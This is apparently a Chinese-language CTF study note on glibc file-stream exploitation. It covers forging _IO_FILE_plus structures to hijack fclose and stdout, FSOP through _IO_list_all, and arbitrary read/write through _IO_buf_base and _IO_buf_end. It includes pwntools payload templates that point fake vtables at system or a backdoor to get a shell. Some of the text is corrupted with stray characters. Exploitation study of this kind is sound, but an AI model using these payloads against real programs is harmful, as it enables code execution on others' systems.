-
fclose 劫持fp指針,偽造_IO_FILE_plus結(jié)構(gòu)
偽造IO_FILE_plus結(jié)構(gòu)體, 32位和64位不一樣羡榴,32位的需要偽造vtable,而64位可以不用偽造vtable桶至,因?yàn)?4位的在繞過幾個(gè)函數(shù)后會(huì)獲得一次call [rax + 0x10]的機(jī)會(huì)
先說32bits的
-
調(diào)用 IO_FINISH(fp)的情況
#注意flags字段遣蚀,只需要_flags & 0x2000為0就會(huì)直接調(diào)用 IO_FINSH(fp)科平,IO_FINISH(fp)相當(dāng)于調(diào)用fp->vtabl->__finish(fp) #其中shell是后門函數(shù) fake_file = "\x00" * 0x48 + p32(buf_add) fake_file = fake_file.ljust(0x94, "\x00") fake_file += p32(buf_add + 0x98 - 0x8)#fake_vtable_addr = buf_addr + 0x98 - 0x8 fake_file += p32(shell) #不存在后門函數(shù)的情況 fake_file = "\x00" * 4 + ";sh" fake_file = fake_file.ljust(0x48,'\x00')+ p32(buf_add) fake_file = fake_file.ljust(0x94, "\x00") fake_file += p32(buf_add + 0x98 - 0x8)#fake_vtable_addr = buf_addr + 0x98 - 0x8 fake_file += p32(system)
-
調(diào)用__fclose()函數(shù)的情況: flags & 0x2000不為0
#_flags & 0x2000不為0最終會(huì)調(diào)用fp->vtabl->__fclose(fp) fake_file = "/bin/sh\x00" fake_file = fake_file.ljust(0x48,'\x00') fake_file += p32(fake_lock_addr) # 指向一處值為0的地址 fake_file = fake_file.ljust(0x94, "\x00") fake_file += p32(fake_vtable)#fake vtable address = buf_addr + 0x98 - 0x44 fake_file += p32(system)
64bits的情況:
-
程序中存在后門函數(shù)
fake_file ='\0'*0x10 + p64(get_shell)+'\0'*0x70+ p64(buf_addr) fake_file = fake_file.ljust(0xd8,'\0')+p64(buf_addr)
-
程序中不存在后門函數(shù)
fake_file = "/bin/sh\x00" + '\x00' * 0x8 fake_file += p64(system) + '\x00' * 0x70 # the system can also be placed in other memory fake_file += p64(fake_lock_addr)#指向一處值為0的地址 fake_file = fake_file.ljust(0xd8, '\x00') fake_file += p64(buf_addr + 0x10 - 0x88) # fake_vtable_addr
fclose源碼學(xué)習(xí)文章:blog
等過段時(shí)間有時(shí)間了在去分析下fclose源碼
例子 : xman 的example1 可以編譯成32位和64位來練練手 体箕,pwnable.tw的seethefile
-
劫持 stdout文件流指針
通過任意地址寫漏洞柏副,將stdout的指針指向偽造的_IO_FILE_plus結(jié)構(gòu),其中vtable指向偽造的 vtable函數(shù)表
這里拿 網(wǎng)鼎杯的那道blind做例子
原本的stdout結(jié)構(gòu)體
gef? p *(struct _IO_FILE_plus *) stdout $2 = { file = { _flags = 0xfbad2887, _IO_read_ptr = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", _IO_read_end = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", _IO_read_base = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", _IO_write_base = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", _IO_write_ptr = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", _IO_write_end = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", _IO_buf_base = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", _IO_buf_end = 0x7f5b6742a6a4 <_IO_2_1_stdout_+132> "", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7f5b674298e0 <_IO_2_1_stdin_>, _fileno = 0x1, _flags2 = 0x0, _old_offset = 0xffffffffffffffff, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "\n", _lock = 0x7f5b6742b780 <_IO_stdfile_1_lock>, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x7f5b674297a0 <_IO_wide_data_1>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0xffffffff, _unused2 = '\000' <repeats 19 times> }, vtable = 0x7f5b674286e0 <_IO_file_jumps> }
偽造的IO_FILE_plus結(jié)構(gòu)體中的flags要滿足下面的條件
flag&8 = 0 and flag &2 =0 and flag & 0x8000 != 0 所以flag的值可以為0xfbad8000 或者0xfbad8080
其他的根據(jù)原本的結(jié)構(gòu)體偽造就行了
fake_struct = p64(0x00000000fbad8000) + p64(0x602060)*7 + p64(0x602061) + p64(0)*4 fake_struct += p64(0x602060) + p64(0x1) + p64(0xffffffffffffffff)+ p64(0) fake_struct += p64(0x602060) + p64(0xffffffffffffffff) + p64(0) + p64(0x602060) fake_struct += p64(0)*3 + p64(0x00000000ffffffff) + p64(0) fake_struct += p64(0)+ p64(0x602090 + 0x68*3) fake_vtable = p64(system_addr)*10 + '\n'
偽造后的結(jié)構(gòu)體:
gef? p *(struct _IO_FILE_plus *)0x602090 $1 = { file = { _flags = 0xfbad8000, _IO_read_ptr = 0x602060 " `", _IO_read_end = 0x602060 " `", _IO_read_base = 0x602060 " `", _IO_write_base = 0x602060 " `", _IO_write_ptr = 0x602060 " `", _IO_write_end = 0x602060 " `", _IO_buf_base = 0x602060 " `", _IO_buf_end = 0x602061 " `", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x602060, _fileno = 0x1, _flags2 = 0x0, _old_offset = 0xffffffffffffffff, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x602060, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x602060, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0xffffffff, _unused2 = '\000' <repeats 19 times> }, vtable = 0x6021c8 }
-
FSOP
這個(gè)技術(shù)的核心就是劫持_IO_list_all的值來偽造鏈表和其中的_IO_FILE項(xiàng)宛琅,但是單純的偽造只是構(gòu)造了數(shù)據(jù)還需要某種方法進(jìn)行觸發(fā)。FSOP選擇的觸發(fā)方法是調(diào)用_IO_flush_all_lockp臀晃,這個(gè)函數(shù)會(huì)刷新_IO_list_all鏈表中所有項(xiàng)的文件流觉渴,相當(dāng)于對(duì)每個(gè)FILE調(diào)用fflush,也對(duì)應(yīng)著會(huì)調(diào)用_IO_FILE_plus.vtable中的IO_overflow函數(shù)徽惋。
libc版本小于2.24
IO_flush_all_lockp函數(shù)源碼
_IO_flush_all_lockp (int do_lock) { int result = 0; FILE *fp; #ifdef _IO_MTSAFE_IO _IO_cleanup_region_start_noarg (flush_cleanup); _IO_lock_lock (list_all_lock); #endif for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain) { run_fp = fp; if (do_lock) _IO_flockfile (fp); if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)/*一些檢查案淋,需要繞過*/ || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))/*也可以繞過這個(gè)*/ ) && _IO_OVERFLOW (fp, EOF) == EOF)/*遍歷_IO_list_all ,選出_IO_FILE作為_IO_OVERFLOW的參數(shù)险绘,執(zhí)行函數(shù)*/ result = EOF; if (do_lock) _IO_funlockfile (fp); run_fp = NULL; } #ifdef _IO_MTSAFE_IO _IO_lock_unlock (list_all_lock); _IO_cleanup_region_end (0); #endif return result; }
IO_flush_all_lockp函數(shù)觸發(fā)條件:
- 當(dāng)libc執(zhí)行abort流程時(shí) abort可以通過觸發(fā)malloc_printerr來觸發(fā)
- 當(dāng)執(zhí)行exit函數(shù)時(shí)
- 當(dāng)執(zhí)行流從main函數(shù)返回時(shí)
FSOP攻擊的前提條件:
- 泄露出libc地址踢京,知道 _IO_lsit_all的地址
- 任意地址寫的能力,修改 _IO_list_all為可控的地址
- 可以在可控內(nèi)存中偽造_IO_FILE_plus結(jié)構(gòu)
_IO_list_all 結(jié)構(gòu):
pwndbg> p *_IO_list_all
$1 = {
file = {
_flags = 0xfbad2086,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd2620 <_IO_2_1_stdout_>, #這里是我們需要控制的地方宦棺,將偽造的_IO_FILE_plus結(jié)構(gòu)鏈入 _IO_FILE的鏈表頭部
_fileno = 0x2,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x7ffff7dd3770 <_IO_stdfile_2_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7dd1660 <_IO_wide_data_2>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}
偽造的_IO_FILE_plus結(jié)構(gòu)體要繞過的check
1.((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
或者是
2.
_IO_vtable_offset (fp) == 0
&& fp->_mode > 0
&& (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
一般來說都是偽造前者瓣距,因?yàn)楹?jiǎn)單點(diǎn)
具體利用 可以去看 house of orange這道題
-
新版本libc下的IO_FILE的利用
通過控制 stdin/stdout文件流 內(nèi)部的_IO_buf_base和 _IO_buf_end來達(dá)到任意地址讀寫的目的
因?yàn)檫M(jìn)程中包含了系統(tǒng)默認(rèn)的三個(gè)文件流stdin\stdout\stderr,因此這種方式可以不需要進(jìn)程中存在文件操作代咸,通過scanf\printf一樣可以進(jìn)行利用
_IO_FILE結(jié)構(gòu)
struct _IO_FILE { int _flags; /*flag標(biāo)志位蹈丸,用于一些檢查 */ /* The following pointers correspond to the C++ streambuf protocol. */ char *_IO_read_ptr; /* Current read pointer */ char *_IO_read_end; /* End of get area. */ char *_IO_read_base; /* Start of putback+get area. */ char *_IO_write_base; /* Start of put area. */ char *_IO_write_ptr; /* Current put pointer. */ char *_IO_write_end; /* End of put area. */ char *_IO_buf_base; /* 操作的起始地址. */ char *_IO_buf_end; /* 操作的結(jié)束地址. */ /*控制 _IO_buf_base 和 _IO_buf_end就可以實(shí)現(xiàn)任意讀寫*/ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; /* 用于形成_IO_FILE 鏈表 int _fileno; int _flags2; __off_t _old_offset; /* This used to be _offset but it's too small. */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE };
任意地址讀的例子 from Angelboy大佬
任意地址寫的例子 from Angelboy大佬